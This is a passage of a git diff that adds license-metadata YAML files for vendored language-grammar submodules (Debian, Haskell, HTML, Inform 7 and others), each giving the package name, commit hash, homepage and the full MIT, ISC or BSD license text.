+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-debian.dep.yml b/vendor/licenses/git_submodule/language-debian.dep.yml
new file mode 100644
index 0000000000..bd31fd728e
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-debian.dep.yml
@@ -0,0 +1,30 @@
+---
+name: language-debian
+version: 990d62ba9d66d102ba88e18579c8e2106e04aa69
+type: git_submodule
+homepage: https://github.com/tsbarnes/language-debian.git
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2015 <Your name here>
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-dircolors.dep.yml b/vendor/licenses/git_submodule/language-dircolors.dep.yml
new file mode 100644
index 0000000000..6404a53c8e
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-dircolors.dep.yml
@@ -0,0 +1,28 @@
+---
+type: git_submodule
+name: language-dircolors
+version: 6b47a8e87db8f2661e3c61322bf87cff2504b09e
+license: mit
+licenses:
+- text: |-
+    ### Copyright (c) 2015 B. Djoudi
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    **THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.**
+notices: []
diff --git a/vendor/licenses/git_submodule/language-emacs-lisp.dep.yml b/vendor/licenses/git_submodule/language-emacs-lisp.dep.yml
new file mode 100644
index 0000000000..0904c89677
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-emacs-lisp.dep.yml
@@ -0,0 +1,23 @@
+---
+name: language-emacs-lisp
+version: 07ef9e419b80478a0976acbc6ef9d190b07e508e
+type: git_submodule
+homepage: https://github.com/Alhadis/language-emacs-lisp
+license: isc
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2016-2023, John Gardner
+
+    Permission to use, copy, modify, and/or distribute this software for any
+    purpose with or without fee is hereby granted, provided that the above
+    copyright notice and this permission notice appear in all copies.
+
+    THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+    WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+    MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+    ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+    WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+    ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+    OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-eml.dep.yml b/vendor/licenses/git_submodule/language-eml.dep.yml
new file mode 100644
index 0000000000..5a37e89138
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-eml.dep.yml
@@ -0,0 +1,28 @@
+---
+name: language-eml
+version: e92b829c1e68710f1e2d5c039642e3a8ff06db6d
+type: git_submodule
+homepage: https://github.com/mariozaizar/language-eml
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2019 Mario Zaizar
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of
+    this software and associated documentation files (the "Software"), to deal in
+    the Software without restriction, including without limitation the rights to
+    use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
+    the Software, and to permit persons to whom the Software is furnished to do so,
+    subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
+    FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
+    COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
+    IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+    CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-etc.dep.yml b/vendor/licenses/git_submodule/language-etc.dep.yml
new file mode 100644
index 0000000000..de7f134d8a
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-etc.dep.yml
@@ -0,0 +1,23 @@
+---
+name: language-etc
+version: 1455feb6de582239b67e8bbde8086569db377e3d
+type: git_submodule
+homepage: https://github.com/Alhadis/language-etc
+license: isc
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2018-2024, John Gardner
+
+    Permission to use, copy, modify, and/or distribute this software for any
+    purpose with or without fee is hereby granted, provided that the above
+    copyright notice and this permission notice appear in all copies.
+
+    THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+    WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+    MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+    ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+    WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+    ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+    OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-faust.dep.yml b/vendor/licenses/git_submodule/language-faust.dep.yml
new file mode 100644
index 0000000000..a0ba63f3a4
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-faust.dep.yml
@@ -0,0 +1,54 @@
+---
+type: git_submodule
+name: language-faust
+version: 93a620e7db713a9858c123e5be5e880ca53856c9
+license: mit
+licenses:
+- text: |-
+    Copyright (c) 2014 GitHub Inc.
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+    --------------------------------------------------------------------
+
+    This package was derived from a TextMate bundle located at
+    https://github.com/rsms/faust.tmbundle and distributed under the following
+    license, located in `LICENSE`:
+
+    Copyright (c) 2009 Rasmus Andersson
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-fontforge.dep.yml b/vendor/licenses/git_submodule/language-fontforge.dep.yml
new file mode 100644
index 0000000000..d2163b378f
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-fontforge.dep.yml
@@ -0,0 +1,23 @@
+---
+name: language-fontforge
+version: 36ff453e9380c962fe87d70b3ff3b141b80de1bd
+type: git_submodule
+homepage: https://github.com/Alhadis/language-fontforge
+license: isc
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2016-2023, John Gardner
+
+    Permission to use, copy, modify, and/or distribute this software for any
+    purpose with or without fee is hereby granted, provided that the above
+    copyright notice and this permission notice appear in all copies.
+
+    THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+    WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+    MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+    ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+    WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+    ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+    OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-gf.dep.yml b/vendor/licenses/git_submodule/language-gf.dep.yml
new file mode 100644
index 0000000000..78ec7a8b95
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-gf.dep.yml
@@ -0,0 +1,31 @@
+---
+name: language-gf
+version: 30573b85e28097f561058df59512301d7ab3e978
+type: git_submodule
+homepage: https://github.com/johnjcamilleri/language-gf
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2019 John J. Camilleri
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-gn.dep.yml b/vendor/licenses/git_submodule/language-gn.dep.yml
new file mode 100644
index 0000000000..9eeeb1ec74
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-gn.dep.yml
@@ -0,0 +1,37 @@
+---
+name: language-gn
+version: 4fedd4a3aba29d2af7849813a7d764383c05f4cc
+type: git_submodule
+homepage: https://github.com/devoncarew/language-gn
+license: bsd-3-clause
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2015, Devon Carew
+    All rights reserved.
+
+    Redistribution and use in source and binary forms, with or without
+    modification, are permitted provided that the following conditions are met:
+
+    * Redistributions of source code must retain the above copyright notice, this
+      list of conditions and the following disclaimer.
+
+    * Redistributions in binary form must reproduce the above copyright notice,
+      this list of conditions and the following disclaimer in the documentation
+      and/or other materials provided with the distribution.
+
+    * Neither the name of the organization nor the names of its
+      contributors may be used to endorse or promote products derived from
+      this software without specific prior written permission.
+
+    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+    AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+    IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+    DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+    FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+    DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+    SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+    CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+    OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+    OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-grammars.dep.yml b/vendor/licenses/git_submodule/language-grammars.dep.yml
new file mode 100644
index 0000000000..7cc3cef31c
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-grammars.dep.yml
@@ -0,0 +1,23 @@
+---
+name: language-grammars
+version: daa8548cc820359b078192dc85b6c8845e9db54c
+type: git_submodule
+homepage: https://github.com/Alhadis/language-grammars
+license: isc
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2018-2022, John Gardner
+
+    Permission to use, copy, modify, and/or distribute this software for any
+    purpose with or without fee is hereby granted, provided that the above
+    copyright notice and this permission notice appear in all copies.
+
+    THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+    WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+    MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+    ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+    WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+    ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+    OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-haml.dep.yml b/vendor/licenses/git_submodule/language-haml.dep.yml
new file mode 100644
index 0000000000..11d7c2f3e1
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-haml.dep.yml
@@ -0,0 +1,28 @@
+---
+type: git_submodule
+name: language-haml
+version: 85e8a2fc27153bc58b5d72e84d876b00ad489c67
+license: mit
+licenses:
+- text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2014 Rob Cameron
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of
+    this software and associated documentation files (the "Software"), to deal in
+    the Software without restriction, including without limitation the rights to
+    use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
+    the Software, and to permit persons to whom the Software is furnished to do so,
+    subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
+    FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
+    COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
+    IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+    CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-haskell.dep.yml b/vendor/licenses/git_submodule/language-haskell.dep.yml
new file mode 100644
index 0000000000..f733f96136
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-haskell.dep.yml
@@ -0,0 +1,36 @@
+---
+name: language-haskell
+version: a273201bd1ffd518a7700fb883d68b8fb60bcbf3
+type: git_submodule
+homepage: https://github.com/atom-haskell/language-haskell
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    The MIT License (MIT)
+
+    Copyright (c) 2014 Atom-Haskell
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+- sources: README.md
+  text: |-
+    Copyright © 2015 Atom-Haskell
+
+    Contributors (by number of commits):
+notices: []
diff --git a/vendor/licenses/git_submodule/language-hocon.dep.yml b/vendor/licenses/git_submodule/language-hocon.dep.yml
new file mode 100644
index 0000000000..cd875041ee
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-hocon.dep.yml
@@ -0,0 +1,30 @@
+---
+name: language-hocon
+version: '027579703e8f125e10eda3a977e79b866ad63993'
+type: git_submodule
+homepage: https://github.com/jacobwgillespie/language-hocon.git
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2015 Jacob Gillespie <jacobwgillespie@gmail.com>
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-hql.dep.yml b/vendor/licenses/git_submodule/language-hql.dep.yml
new file mode 100644
index 0000000000..bfc1910e4a
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-hql.dep.yml
@@ -0,0 +1,39 @@
+---
+type: git_submodule
+name: language-hql
+version: 8ebe7ab281ad151e1dd732c0189d32d09db86df6
+license: mit
+licenses:
+- text: |-
+    Copyright (c) 2014 GitHub Inc.
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+    --------------------------------------------------------------------
+
+    This package was derived from a TextMate bundle located at
+    https://github.com/textmate/sql.tmbundle and distributed under the following
+    license, located in `README.mdown`:
+
+    Permission to copy, use, modify, sell and distribute this
+    software is granted. This software is provided "as is" without
+    express or implied warranty, and with no claim as to its
+    suitability for any purpose.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-html.dep.yml b/vendor/licenses/git_submodule/language-html.dep.yml
new file mode 100644
index 0000000000..8dcd39dc22
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-html.dep.yml
@@ -0,0 +1,41 @@
+---
+name: language-html
+version: ee750a014a003c3d6f10b91e3cd5f9bfa0f051e6
+type: git_submodule
+homepage: https://github.com/atom/language-html
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2014 GitHub Inc.
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
+    "Software"), to deal in the Software without restriction, including
+    without limitation the rights to use, copy, modify, merge, publish,
+    distribute, sublicense, and/or sell copies of the Software, and to
+    permit persons to whom the Software is furnished to do so, subject to
+    the following conditions:
+
+    The above copyright notice and this permission notice shall be
+    included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+    LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+    OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+    WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+    --------------------------------------------------------------------
+
+    This package was derived from a TextMate bundle located at
+    https://github.com/textmate/html.tmbundle and distributed under the following
+    license, located in `README.mdown`:
+
+    Permission to copy, use, modify, sell and distribute this
+    software is granted. This software is provided "as is" without
+    express or implied warranty, and with no claim as to its
+    suitability for any purpose.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-igor.dep.yml b/vendor/licenses/git_submodule/language-igor.dep.yml
new file mode 100644
index 0000000000..3f083fea99
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-igor.dep.yml
@@ -0,0 +1,42 @@
+---
+name: language-igor
+version: 5d242c696abed0528f8c5107b031e73c87b72501
+type: git_submodule
+homepage: https://github.com/byte-physics/language-igor
+license: bsd-3-clause
+licenses:
+- sources: LICENSE
+  text: |
+    BSD 3-Clause License
+
+    Copyright (c) 2012, User 741
+    Copyright (c) 2017, Jeanine Adkisson, Matthias Kastner
+    Copyright (c) 2017, Thomas Braun
+    Copyright (c) 2019, () byte physics
+    All rights reserved.
+
+    Redistribution and use in source and binary forms, with or without
+    modification, are permitted provided that the following conditions are met:
+
+    1. Redistributions of source code must retain the above copyright notice, this
+       list of conditions and the following disclaimer.
+
+    2. Redistributions in binary form must reproduce the above copyright notice,
+       this list of conditions and the following disclaimer in the documentation
+       and/or other materials provided with the distribution.
+
+    3. Neither the name of the copyright holder nor the names of its
+       contributors may be used to endorse or promote products derived from
+       this software without specific prior written permission.
+
+    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+    AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+    IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+    DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+    FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+    DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+    SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+    CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+    OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+    OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-inform7.dep.yml b/vendor/licenses/git_submodule/language-inform7.dep.yml
new file mode 100644
index 0000000000..a7a8ef011b
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-inform7.dep.yml
@@ -0,0 +1,31 @@
+---
+name: language-inform7
+version: fed775fdc2f2a3b5057f586fe97d2013c912cf48
+type: git_submodule
+homepage: https://github.com/erkyrath/language-inform7
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    The MIT License
+
+    Copyright (c) 2016, Andrew Plotkin
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-javascript.dep.yml b/vendor/licenses/git_submodule/language-javascript.dep.yml
new file mode 100644
index 0000000000..65ee82beb8
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-javascript.dep.yml
@@ -0,0 +1,41 @@
+---
+name: language-javascript
+version: 91ca16418fa3634774d954744c7f1aa2c66d3770
+type: git_submodule
+homepage: https://github.com/atom/language-javascript
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2015 GitHub Inc.
+
+    Permission is hereby granted, free of charge, to any person obtaining
+    a copy of this software and associated documentation files (the
